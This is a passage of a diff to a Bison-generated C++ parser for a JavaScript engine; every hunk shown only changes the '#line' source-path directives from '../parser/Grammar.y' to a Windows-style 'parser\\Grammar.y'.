     { ReturnNode* node = new (GLOBAL_DATA) ReturnNode(GLOBAL_DATA, 0); 
                                           setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(1) - (2)]).last_column); 
                                           (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, 0, 0); setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(2) - (2)])); ;}
@@ -4529,7 +4529,7 @@ yyreduce:
   case 264:
 
 /* Line 1455 of yacc.c  */
-#line 1068 "../parser/Grammar.y"
+#line 1068 "parser\\Grammar.y"
     { ReturnNode* node = new (GLOBAL_DATA) ReturnNode(GLOBAL_DATA, 0); 
                                           setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(1) - (2)]).last_column); 
                                           (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, 0, 0); setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(1) - (2)])); AUTO_SEMICOLON; ;}
@@ -4538,7 +4538,7 @@ yyreduce:
   case 265:
 
 /* Line 1455 of yacc.c  */
-#line 1071 "../parser/Grammar.y"
+#line 1071 "parser\\Grammar.y"
     { ReturnNode* node = new (GLOBAL_DATA) ReturnNode(GLOBAL_DATA, (yyvsp[(2) - (3)].expressionNode).m_node); 
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column);
                                           (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, (yyvsp[(2) - (3)].expressionNode).m_features, (yyvsp[(2) - (3)].expressionNode).m_numConstants); setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(3) - (3)])); ;}
@@ -4547,7 +4547,7 @@ yyreduce:
   case 266:
 
 /* Line 1455 of yacc.c  */
-#line 1074 "../parser/Grammar.y"
+#line 1074 "parser\\Grammar.y"
     { ReturnNode* node = new (GLOBAL_DATA) ReturnNode(GLOBAL_DATA, (yyvsp[(2) - (3)].expressionNode).m_node); 
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column); 
                                           (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, (yyvsp[(2) - (3)].expressionNode).m_features, (yyvsp[(2) - (3)].expressionNode).m_numConstants); setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(2) - (3)])); AUTO_SEMICOLON; ;}
@@ -4556,7 +4556,7 @@ yyreduce:
   case 267:
 
 /* Line 1455 of yacc.c  */
-#line 1080 "../parser/Grammar.y"
+#line 1080 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) WithNode(GLOBAL_DATA, (yyvsp[(3) - (5)].expressionNode).m_node, (yyvsp[(5) - (5)].statementNode).m_node, (yylsp[(3) - (5)]).last_column, (yylsp[(3) - (5)]).last_column - (yylsp[(3) - (5)]).first_column),
                                                                                          (yyvsp[(5) - (5)].statementNode).m_varDeclarations, (yyvsp[(5) - (5)].statementNode).m_funcDeclarations, (yyvsp[(3) - (5)].expressionNode).m_features | (yyvsp[(5) - (5)].statementNode).m_features | WithFeature, (yyvsp[(3) - (5)].expressionNode).m_numConstants + (yyvsp[(5) - (5)].statementNode).m_numConstants);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (5)]), (yylsp[(4) - (5)])); ;}
@@ -4565,7 +4565,7 @@ yyreduce:
   case 268:
 
 /* Line 1455 of yacc.c  */
-#line 1086 "../parser/Grammar.y"
+#line 1086 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) SwitchNode(GLOBAL_DATA, (yyvsp[(3) - (5)].expressionNode).m_node, (yyvsp[(5) - (5)].caseBlockNode).m_node), (yyvsp[(5) - (5)].caseBlockNode).m_varDeclarations, (yyvsp[(5) - (5)].caseBlockNode).m_funcDeclarations,
                                                                                          (yyvsp[(3) - (5)].expressionNode).m_features | (yyvsp[(5) - (5)].caseBlockNode).m_features, (yyvsp[(3) - (5)].expressionNode).m_numConstants + (yyvsp[(5) - (5)].caseBlockNode).m_numConstants);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (5)]), (yylsp[(4) - (5)])); ;}
@@ -4574,14 +4574,14 @@ yyreduce:
   case 269:
 
 /* Line 1455 of yacc.c  */
-#line 1092 "../parser/Grammar.y"
+#line 1092 "parser\\Grammar.y"
     { (yyval.caseBlockNode) = createNodeDeclarationInfo<CaseBlockNode*>(new (GLOBAL_DATA) CaseBlockNode(GLOBAL_DATA, (yyvsp[(2) - (3)].clauseList).m_node.head, 0, 0), (yyvsp[(2) - (3)].clauseList).m_varDeclarations, (yyvsp[(2) - (3)].clauseList).m_funcDeclarations, (yyvsp[(2) - (3)].clauseList).m_features, (yyvsp[(2) - (3)].clauseList).m_numConstants); ;}
     break;
 
   case 270:
 
 /* Line 1455 of yacc.c  */
-#line 1094 "../parser/Grammar.y"
+#line 1094 "parser\\Grammar.y"
     { (yyval.caseBlockNode) = createNodeDeclarationInfo<CaseBlockNode*>(new (GLOBAL_DATA) CaseBlockNode(GLOBAL_DATA, (yyvsp[(2) - (5)].clauseList).m_node.head, (yyvsp[(3) - (5)].caseClauseNode).m_node, (yyvsp[(4) - (5)].clauseList).m_node.head),
                                                                                          mergeDeclarationLists(mergeDeclarationLists((yyvsp[(2) - (5)].clauseList).m_varDeclarations, (yyvsp[(3) - (5)].caseClauseNode).m_varDeclarations), (yyvsp[(4) - (5)].clauseList).m_varDeclarations),
                                                                                          mergeDeclarationLists(mergeDeclarationLists((yyvsp[(2) - (5)].clauseList).m_funcDeclarations, (yyvsp[(3) - (5)].caseClauseNode).m_funcDeclarations), (yyvsp[(4) - (5)].clauseList).m_funcDeclarations),
@@ -4592,14 +4592,14 @@ yyreduce:
   case 271:
 
 /* Line 1455 of yacc.c  */
-#line 1102 "../parser/Grammar.y"
+#line 1102 "parser\\Grammar.y"
     { (yyval.clauseList).m_node.head = 0; (yyval.clauseList).m_node.tail = 0; (yyval.clauseList).m_varDeclarations = 0; (yyval.clauseList).m_funcDeclarations = 0; (yyval.clauseList).m_features = 0; (yyval.clauseList).m_numConstants = 0; ;}
     break;
 
   case 273:
 
 /* Line 1455 of yacc.c  */
-#line 1107 "../parser/Grammar.y"
+#line 1107 "parser\\Grammar.y"
     { (yyval.clauseList).m_node.head = new (GLOBAL_DATA) ClauseListNode(GLOBAL_DATA, (yyvsp[(1) - (1)].caseClauseNode).m_node);
                                           (yyval.clauseList).m_node.tail = (yyval.clauseList).m_node.head;
                                           (yyval.clauseList).m_varDeclarations = (yyvsp[(1) - (1)].caseClauseNode).m_varDeclarations;
@@ -4611,7 +4611,7 @@ yyreduce:
   case 274:
 
 /* Line 1455 of yacc.c  */
-#line 1113 "../parser/Grammar.y"
+#line 1113 "parser\\Grammar.y"
     { (yyval.clauseList).m_node.head = (yyvsp[(1) - (2)].clauseList).m_node.head;
                                           (yyval.clauseList).m_node.tail = new (GLOBAL_DATA) ClauseListNode(GLOBAL_DATA, (yyvsp[(1) - (2)].clauseList).m_node.tail, (yyvsp[(2) - (2)].caseClauseNode).m_node);
                                           (yyval.clauseList).m_varDeclarations = mergeDeclarationLists((yyvsp[(1) - (2)].clauseList).m_varDeclarations, (yyvsp[(2) - (2)].caseClauseNode).m_varDeclarations);
@@ -4624,35 +4624,35 @@ yyreduce:
   case 275:
 
 /* Line 1455 of yacc.c  */
-#line 1123 "../parser/Grammar.y"
+#line 1123 "parser\\Grammar.y"
     { (yyval.caseClauseNode) = createNodeDeclarationInfo<CaseClauseNode*>(new (GLOBAL_DATA) CaseClauseNode(GLOBAL_DATA, (yyvsp[(2) - (3)].expressionNode).m_node), 0, 0, (yyvsp[(2) - (3)].expressionNode).m_features, (yyvsp[(2) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 276:
 
 /* Line 1455 of yacc.c  */
-#line 1124 "../parser/Grammar.y"
+#line 1124 "parser\\Grammar.y"
     { (yyval.caseClauseNode) = createNodeDeclarationInfo<CaseClauseNode*>(new (GLOBAL_DATA) CaseClauseNode(GLOBAL_DATA, (yyvsp[(2) - (4)].expressionNode).m_node, (yyvsp[(4) - (4)].sourceElements).m_node), (yyvsp[(4) - (4)].sourceElements).m_varDeclarations, (yyvsp[(4) - (4)].sourceElements).m_funcDeclarations, (yyvsp[(2) - (4)].expressionNode).m_features | (yyvsp[(4) - (4)].sourceElements).m_features, (yyvsp[(2) - (4)].expressionNode).m_numConstants + (yyvsp[(4) - (4)].sourceElements).m_numConstants); ;}
     break;
 
   case 277:
 
 /* Line 1455 of yacc.c  */
-#line 1128 "../parser/Grammar.y"
+#line 1128 "parser\\Grammar.y"
     { (yyval.caseClauseNode) = createNodeDeclarationInfo<CaseClauseNode*>(new (GLOBAL_DATA) CaseClauseNode(GLOBAL_DATA, 0), 0, 0, 0, 0); ;}
     break;
 
   case 278:
 
 /* Line 1455 of yacc.c  */
-#line 1129 "../parser/Grammar.y"
+#line 1129 "parser\\Grammar.y"
     { (yyval.caseClauseNode) = createNodeDeclarationInfo<CaseClauseNode*>(new (GLOBAL_DATA) CaseClauseNode(GLOBAL_DATA, 0, (yyvsp[(3) - (3)].sourceElements).m_node), (yyvsp[(3) - (3)].sourceElements).m_varDeclarations, (yyvsp[(3) - (3)].sourceElements).m_funcDeclarations, (yyvsp[(3) - (3)].sourceElements).m_features, (yyvsp[(3) - (3)].sourceElements).m_numConstants); ;}
     break;
 
   case 279:
 
 /* Line 1455 of yacc.c  */
-#line 1133 "../parser/Grammar.y"
+#line 1133 "parser\\Grammar.y"
     { LabelNode* node = new (GLOBAL_DATA) LabelNode(GLOBAL_DATA, *(yyvsp[(1) - (3)].ident), (yyvsp[(3) - (3)].statementNode).m_node);
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column);
                                           (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, (yyvsp[(3) - (3)].statementNode).m_varDeclarations, (yyvsp[(3) - (3)].statementNode).m_funcDeclarations, (yyvsp[(3) - (3)].statementNode).m_features, (yyvsp[(3) - (3)].statementNode).m_numConstants); ;}
@@ -4661,7 +4661,7 @@ yyreduce:
   case 280:
 
 /* Line 1455 of yacc.c  */
-#line 1139 "../parser/Grammar.y"
+#line 1139 "parser\\Grammar.y"
     { ThrowNode* node = new (GLOBAL_DATA) ThrowNode(GLOBAL_DATA, (yyvsp[(2) - (3)].expressionNode).m_node);
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column);
                                           (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, (yyvsp[(2) - (3)].expressionNode).m_features, (yyvsp[(2) - (3)].expressionNode).m_numConstants); setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(2) - (3)]));
@@ -4671,7 +4671,7 @@ yyreduce:
   case 281:
 
 /* Line 1455 of yacc.c  */
-#line 1143 "../parser/Grammar.y"
+#line 1143 "parser\\Grammar.y"
     { ThrowNode* node = new (GLOBAL_DATA) ThrowNode(GLOBAL_DATA, (yyvsp[(2) - (3)].expressionNode).m_node);
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column);
                                           (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, (yyvsp[(2) - (3)].expressionNode).m_features, (yyvsp[(2) - (3)].expressionNode).m_numConstants); setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(2) - (3)])); AUTO_SEMICOLON; 
@@ -4681,7 +4681,7 @@ yyreduce:
   case 282:
 
 /* Line 1455 of yacc.c  */
-#line 1150 "../parser/Grammar.y"
+#line 1150 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) TryNode(GLOBAL_DATA, (yyvsp[(2) - (4)].statementNode).m_node, GLOBAL_DATA->propertyNames->nullIdentifier, false, 0, (yyvsp[(4) - (4)].statementNode).m_node),
                                                                                          mergeDeclarationLists((yyvsp[(2) - (4)].statementNode).m_varDeclarations, (yyvsp[(4) - (4)].statementNode).m_varDeclarations),
                                                                                          mergeDeclarationLists((yyvsp[(2) - (4)].statementNode).m_funcDeclarations, (yyvsp[(4) - (4)].statementNode).m_funcDeclarations),
@@ -4693,7 +4693,7 @@ yyreduce:
   case 283:
 
 /* Line 1455 of yacc.c  */
-#line 1156 "../parser/Grammar.y"
+#line 1156 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) TryNode(GLOBAL_DATA, (yyvsp[(2) - (7)].statementNode).m_node, *(yyvsp[(5) - (7)].ident), ((yyvsp[(7) - (7)].statementNode).m_features & EvalFeature) != 0, (yyvsp[(7) - (7)].statementNode).m_node, 0),
                                                                                          mergeDeclarationLists((yyvsp[(2) - (7)].statementNode).m_varDeclarations, (yyvsp[(7) - (7)].statementNode).m_varDeclarations),
                                                                                          mergeDeclarationLists((yyvsp[(2) - (7)].statementNode).m_funcDeclarations, (yyvsp[(7) - (7)].statementNode).m_funcDeclarations),
@@ -4705,7 +4705,7 @@ yyreduce:
   case 284:
 
 /* Line 1455 of yacc.c  */
-#line 1163 "../parser/Grammar.y"
+#line 1163 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) TryNode(GLOBAL_DATA, (yyvsp[(2) - (9)].statementNode).m_node, *(yyvsp[(5) - (9)].ident), ((yyvsp[(7) - (9)].statementNode).m_features & EvalFeature) != 0, (yyvsp[(7) - (9)].statementNode).m_node, (yyvsp[(9) - (9)].statementNode).m_node),
                                                                                          mergeDeclarationLists(mergeDeclarationLists((yyvsp[(2) - (9)].statementNode).m_varDeclarations, (yyvsp[(7) - (9)].statementNode).m_varDeclarations), (yyvsp[(9) - (9)].statementNode).m_varDeclarations),
                                                                                          mergeDeclarationLists(mergeDeclarationLists((yyvsp[(2) - (9)].statementNode).m_funcDeclarations, (yyvsp[(7) - (9)].statementNode).m_funcDeclarations), (yyvsp[(9) - (9)].statementNode).m_funcDeclarations),
@@ -4717,7 +4717,7 @@ yyreduce:
   case 285:
 
 /* Line 1455 of yacc.c  */
-#line 1172 "../parser/Grammar.y"
+#line 1172 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) DebuggerStatementNode(GLOBAL_DATA), 0, 0, 0, 0);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(2) - (2)])); ;}
     break;
@@ -4725,7 +4725,7 @@ yyreduce:
   case 286:
 
 /* Line 1455 of yacc.c  */
-#line 1174 "../parser/Grammar.y"
+#line 1174 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) DebuggerStatementNode(GLOBAL_DATA), 0, 0, 0, 0);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(1) - (2)])); AUTO_SEMICOLON; ;}
     break;
@@ -4733,14 +4733,14 @@ yyreduce:
   case 287:
 
 /* Line 1455 of yacc.c  */
-#line 1179 "../parser/Grammar.y"
+#line 1179 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) FuncDeclNode(GLOBAL_DATA, *(yyvsp[(2) - (7)].ident), (yyvsp[(6) - (7)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(5) - (7)].intValue), (yyvsp[(7) - (7)].intValue), (yylsp[(5) - (7)]).first_line)), 0, new (GLOBAL_DATA) ParserArenaData<DeclarationStacks::FunctionStack>, ((*(yyvsp[(2) - (7)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0) | ClosureFeature, 0); setStatementLocation((yyvsp[(6) - (7)].functionBodyNode), (yylsp[(5) - (7)]), (yylsp[(7) - (7)])); (yyval.statementNode).m_funcDeclarations->data.append(static_cast<FuncDeclNode*>((yyval.statementNode).m_node)->body()); ;}
     break;
 
   case 288:
 
 /* Line 1455 of yacc.c  */
-#line 1181 "../parser/Grammar.y"
+#line 1181 "parser\\Grammar.y"
     {
           (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) FuncDeclNode(GLOBAL_DATA, *(yyvsp[(2) - (8)].ident), (yyvsp[(7) - (8)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(6) - (8)].intValue), (yyvsp[(8) - (8)].intValue), (yylsp[(6) - (8)]).first_line), (yyvsp[(4) - (8)].parameterList).m_node.head), 0, new (GLOBAL_DATA) ParserArenaData<DeclarationStacks::FunctionStack>, ((*(yyvsp[(2) - (8)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0) | (yyvsp[(4) - (8)].parameterList).m_features | ClosureFeature, 0);
           if ((yyvsp[(4) - (8)].parameterList).m_features & ArgumentsFeature)
@@ -4753,14 +4753,14 @@ yyreduce:
   case 289:
 
 /* Line 1455 of yacc.c  */
-#line 1191 "../parser/Grammar.y"
+#line 1191 "parser\\Grammar.y"
     { (yyval.funcExprNode) = createNodeInfo(new (GLOBAL_DATA) FuncExprNode(GLOBAL_DATA, GLOBAL_DATA->propertyNames->nullIdentifier, (yyvsp[(5) - (6)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(4) - (6)].intValue), (yyvsp[(6) - (6)].intValue), (yylsp[(4) - (6)]).first_line)), ClosureFeature, 0); setStatementLocation((yyvsp[(5) - (6)].functionBodyNode), (yylsp[(4) - (6)]), (yylsp[(6) - (6)])); ;}
     break;
 
   case 290:
 
 /* Line 1455 of yacc.c  */
-#line 1193 "../parser/Grammar.y"
+#line 1193 "parser\\Grammar.y"
     {
           (yyval.funcExprNode) = createNodeInfo(new (GLOBAL_DATA) FuncExprNode(GLOBAL_DATA, GLOBAL_DATA->propertyNames->nullIdentifier, (yyvsp[(6) - (7)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(5) - (7)].intValue), (yyvsp[(7) - (7)].intValue), (yylsp[(5) - (7)]).first_line), (yyvsp[(3) - (7)].parameterList).m_node.head), (yyvsp[(3) - (7)].parameterList).m_features | ClosureFeature, 0);
           if ((yyvsp[(3) - (7)].parameterList).m_features & ArgumentsFeature)
@@ -4772,14 +4772,14 @@ yyreduce:
   case 291:
 
 /* Line 1455 of yacc.c  */
-#line 1199 "../parser/Grammar.y"
+#line 1199 "parser\\Grammar.y"
     { (yyval.funcExprNode) = createNodeInfo(new (GLOBAL_DATA) FuncExprNode(GLOBAL_DATA, *(yyvsp[(2) - (7)].ident), (yyvsp[(6) - (7)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(5) - (7)].intValue), (yyvsp[(7) - (7)].intValue), (yylsp[(5) - (7)]).first_line)), ClosureFeature, 0); setStatementLocation((yyvsp[(6) - (7)].functionBodyNode), (yylsp[(5) - (7)]), (yylsp[(7) - (7)])); ;}
     break;
 
   case 292:
 
 /* Line 1455 of yacc.c  */
-#line 1201 "../parser/Grammar.y"
+#line 1201 "parser\\Grammar.y"
     {
           (yyval.funcExprNode) = createNodeInfo(new (GLOBAL_DATA) FuncExprNode(GLOBAL_DATA, *(yyvsp[(2) - (8)].ident), (yyvsp[(7) - (8)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(6) - (8)].intValue), (yyvsp[(8) - (8)].intValue), (yylsp[(6) - (8)]).first_line), (yyvsp[(4) - (8)].parameterList).m_node.head), (yyvsp[(4) - (8)].parameterList).m_features | ClosureFeature, 0); 
           if ((yyvsp[(4) - (8)].parameterList).m_features & ArgumentsFeature)
@@ -4791,7 +4791,7 @@ yyreduce:
   case 293:
 
 /* Line 1455 of yacc.c  */
-#line 1210 "../parser/Grammar.y"
+#line 1210 "parser\\Grammar.y"
     { (yyval.parameterList).m_node.head = new (GLOBAL_DATA) ParameterNode(GLOBAL_DATA, *(yyvsp[(1) - (1)].ident));
                                           (yyval.parameterList).m_features = (*(yyvsp[(1) - (1)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0;
                                           (yyval.parameterList).m_node.tail = (yyval.parameterList).m_node.head; ;}
@@ -4800,7 +4800,7 @@ yyreduce:
   case 294:
 
 /* Line 1455 of yacc.c  */
-#line 1213 "../parser/Grammar.y"
+#line 1213 "parser\\Grammar.y"
     { (yyval.parameterList).m_node.head = (yyvsp[(1) - (3)].parameterList).m_node.head;
                                           (yyval.parameterList).m_features = (yyvsp[(1) - (3)].parameterList).m_features | ((*(yyvsp[(3) - (3)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0);
                                           (yyval.parameterList).m_node.tail = new (GLOBAL_DATA) ParameterNode(GLOBAL_DATA, (yyvsp[(1) - (3)].parameterList).m_node.tail, *(yyvsp[(3) - (3)].ident));  ;}
@@ -4809,28 +4809,28 @@ yyreduce:
   case 295:
 
 /* Line 1455 of yacc.c  */
-#line 1219 "../parser/Grammar.y"
+#line 1219 "parser\\Grammar.y"
     { (yyval.functionBodyNode) = FunctionBodyNode::create(GLOBAL_DATA); ;}
     break;
 
   case 296:
 
 /* Line 1455 of yacc.c  */
-#line 1220 "../parser/Grammar.y"
+#line 1220 "parser\\Grammar.y"
     { (yyval.functionBodyNode) = FunctionBodyNode::create(GLOBAL_DATA); ;}
     break;
 
   case 297:
 
 /* Line 1455 of yacc.c  */
-#line 1224 "../parser/Grammar.y"
+#line 1224 "parser\\Grammar.y"
     { GLOBAL_DATA->parser->didFinishParsing(new (GLOBAL_DATA) SourceElements(GLOBAL_DATA), 0, 0, NoFeatures, (yylsp[(0) - (0)]).last_line, 0); ;}
     break;
 
   case 298:
 
 /* Line 1455 of yacc.c  */
-#line 1225 "../parser/Grammar.y"
+#line 1225 "parser\\Grammar.y"
     { GLOBAL_DATA->parser->didFinishParsing((yyvsp[(1) - (1)].sourceElements).m_node, (yyvsp[(1) - (1)].sourceElements).m_varDeclarations, (yyvsp[(1) - (1)].sourceElements).m_funcDeclarations, (yyvsp[(1) - (1)].sourceElements).m_features, 
                                                                                 (yylsp[(1) - (1)]).last_line, (yyvsp[(1) - (1)].sourceElements).m_numConstants); ;}
     break;
@@ -4838,7 +4838,7 @@ yyreduce:
   case 299:
 
 /* Line 1455 of yacc.c  */
-#line 1230 "../parser/Grammar.y"
+#line 1230 "parser\\Grammar.y"
     { (yyval.sourceElements).m_node = new (GLOBAL_DATA) SourceElements(GLOBAL_DATA);
                                           (yyval.sourceElements).m_node->append((yyvsp[(1) - (1)].statementNode).m_node);
                                           (yyval.sourceElements).m_varDeclarations = (yyvsp[(1) - (1)].statementNode).m_varDeclarations;
@@ -4851,7 +4851,7 @@ yyreduce:
   case 300:
 
 /* Line 1455 of yacc.c  */
-#line 1237 "../parser/Grammar.y"
+#line 1237 "parser\\Grammar.y"
     { (yyval.sourceElements).m_node->append((yyvsp[(2) - (2)].statementNode).m_node);
                                           (yyval.sourceElements).m_varDeclarations = mergeDeclarationLists((yyvsp[(1) - (2)].sourceElements).m_varDeclarations, (yyvsp[(2) - (2)].statementNode).m_varDeclarations);
                                           (yyval.sourceElements).m_funcDeclarations = mergeDeclarationLists((yyvsp[(1) - (2)].sourceElements).m_funcDeclarations, (yyvsp[(2) - (2)].statementNode).m_funcDeclarations);
@@ -4863,259 +4863,259 @@ yyreduce:
   case 304:
 
 /* Line 1455 of yacc.c  */
-#line 1251 "../parser/Grammar.y"
+#line 1251 "parser\\Grammar.y"
     { ;}
     break;
 
   case 305:
 
 /* Line 1455 of yacc.c  */
-#line 1252 "../parser/Grammar.y"
+#line 1252 "parser\\Grammar.y"
     { ;}
     break;
 
   case 306:
 
 /* Line 1455 of yacc.c  */
-#line 1253 "../parser/Grammar.y"
+#line 1253 "parser\\Grammar.y"
     { if (!GLOBAL_DATA->lexer->skipRegExp()) YYABORT; ;}
     break;
 
   case 307:
 
 /* Line 1455 of yacc.c  */
-#line 1254 "../parser/Grammar.y"
+#line 1254 "parser\\Grammar.y"
     { if (!GLOBAL_DATA->lexer->skipRegExp()) YYABORT; ;}
     break;
 
   case 308:
 
 /* Line 1455 of yacc.c  */
-#line 1258 "../parser/Grammar.y"
+#line 1258 "parser\\Grammar.y"
     { ;}
     break;
 
   case 309:
 
 /* Line 1455 of yacc.c  */
-#line 1259 "../parser/Grammar.y"
+#line 1259 "parser\\Grammar.y"
     { ;}
     break;
 
   case 310:
 
 /* Line 1455 of yacc.c  */
-#line 1260 "../parser/Grammar.y"
+#line 1260 "parser\\Grammar.y"
     { ;}
     break;
 
   case 311:
 
 /* Line 1455 of yacc.c  */
-#line 1261 "../parser/Grammar.y"
+#line 1261 "parser\\Grammar.y"
     { if (*(yyvsp[(1) - (7)].ident) != "get" && *(yyvsp[(1) - (7)].ident) != "set") YYABORT; ;}
     break;
 
   case 312:
 
 /* Line 1455 of yacc.c  */
-#line 1262 "../parser/Grammar.y"
+#line 1262 "parser\\Grammar.y"
     { if (*(yyvsp[(1) - (8)].ident) != "get" && *(yyvsp[(1) - (8)].ident) != "set") YYABORT; ;}
     break;
 
   case 316:
 
 /* Line 1455 of yacc.c  */
-#line 1272 "../parser/Grammar.y"
+#line 1272 "parser\\Grammar.y"
     { ;}
     break;
 
   case 317:
 
 /* Line 1455 of yacc.c  */
-#line 1273 "../parser/Grammar.y"
+#line 1273 "parser\\Grammar.y"
     { ;}
     break;
 
   case 318:
 
 /* Line 1455 of yacc.c  */
-#line 1275 "../parser/Grammar.y"
+#line 1275 "parser\\Grammar.y"
     { ;}
     break;
 
   case 322:
 
 /* Line 1455 of yacc.c  */
-#line 1282 "../parser/Grammar.y"
+#line 1282 "parser\\Grammar.y"
     { ;}
     break;
 
   case 517:
 
 /* Line 1455 of yacc.c  */
-#line 1650 "../parser/Grammar.y"
+#line 1650 "parser\\Grammar.y"
     { ;}
     break;
 
   case 518:
 
 /* Line 1455 of yacc.c  */
-#line 1651 "../parser/Grammar.y"
+#line 1651 "parser\\Grammar.y"
     { ;}
     break;
 
   case 520:
 
 /* Line 1455 of yacc.c  */
-#line 1656 "../parser/Grammar.y"
+#line 1656 "parser\\Grammar.y"
     { AUTO_SEMICOLON; ;}
     break;
 
   case 521:
 
 /* Line 1455 of yacc.c  */
-#line 1660 "../parser/Grammar.y"
+#line 1660 "parser\\Grammar.y"
     { ;}
     break;
 
   case 522:
 
 /* Line 1455 of yacc.c  */
-#line 1661 "../parser/Grammar.y"
+#line 1661 "parser\\Grammar.y"
     { ;}
     break;
 
   case 525:
 
 /* Line 1455 of yacc.c  */
-#line 1667 "../parser/Grammar.y"
+#line 1667 "parser\\Grammar.y"
     { ;}
     break;
 
   case 526:
 
 /* Line 1455 of yacc.c  */
-#line 1668 "../parser/Grammar.y"
+#line 1668 "parser\\Grammar.y"
     { ;}
     break;
 
   case 530:
 
 /* Line 1455 of yacc.c  */
-#line 1675 "../parser/Grammar.y"
+#line 1675 "parser\\Grammar.y"
     { AUTO_SEMICOLON; ;}
     break;
 
   case 533:
 
 /* Line 1455 of yacc.c  */
-#line 1684 "../parser/Grammar.y"
+#line 1684 "parser\\Grammar.y"
     { ;}
     break;
 
   case 534:
 
 /* Line 1455 of yacc.c  */
-#line 1685 "../parser/Grammar.y"
+#line 1685 "parser\\Grammar.y"
     { ;}
     break;
 
   case 539:
 
 /* Line 1455 of yacc.c  */
-#line 1702 "../parser/Grammar.y"
+#line 1702 "parser\\Grammar.y"
     { AUTO_SEMICOLON; ;}
     break;
 
   case 555:
 
 /* Line 1455 of yacc.c  */
-#line 1733 "../parser/Grammar.y"
+#line 1733 "parser\\Grammar.y"
     { AUTO_SEMICOLON; ;}
     break;
 
   case 557:
 
 /* Line 1455 of yacc.c  */
-#line 1735 "../parser/Grammar.y"
+#line 1735 "parser\\Grammar.y"
     { AUTO_SEMICOLON; ;}
     break;
 
   case 559:
 
 /* Line 1455 of yacc.c  */
-#line 1740 "../parser/Grammar.y"
+#line 1740 "parser\\Grammar.y"
     { AUTO_SEMICOLON; ;}
     break;
 
   case 561:
 
 /* Line 1455 of yacc.c  */
-#line 1742 "../parser/Grammar.y"
+#line 1742 "parser\\Grammar.y"
     { AUTO_SEMICOLON; ;}
     break;
 
   case 563:
 
 /* Line 1455 of yacc.c  */
-#line 1747 "../parser/Grammar.y"
+#line 1747 "parser\\Grammar.y"
     { AUTO_SEMICOLON; ;}
     break;
 
   case 565:
 
 /* Line 1455 of yacc.c  */
-#line 1749 "../parser/Grammar.y"
+#line 1749 "parser\\Grammar.y"
     { AUTO_SEMICOLON; ;}
     break;
 
   case 568:
 
 /* Line 1455 of yacc.c  */
-#line 1761 "../parser/Grammar.y"
+#line 1761 "parser\\Grammar.y"
     { ;}
     break;
 
   case 569:
 
 /* Line 1455 of yacc.c  */
-#line 1762 "../parser/Grammar.y"
+#line 1762 "parser\\Grammar.y"
     { ;}
     break;
 
   case 578:
 
 /* Line 1455 of yacc.c  */
-#line 1786 "../parser/Grammar.y"
+#line 1786 "parser\\Grammar.y"
     { ;}
     break;
 
   case 580:
 
 /* Line 1455 of yacc.c  */
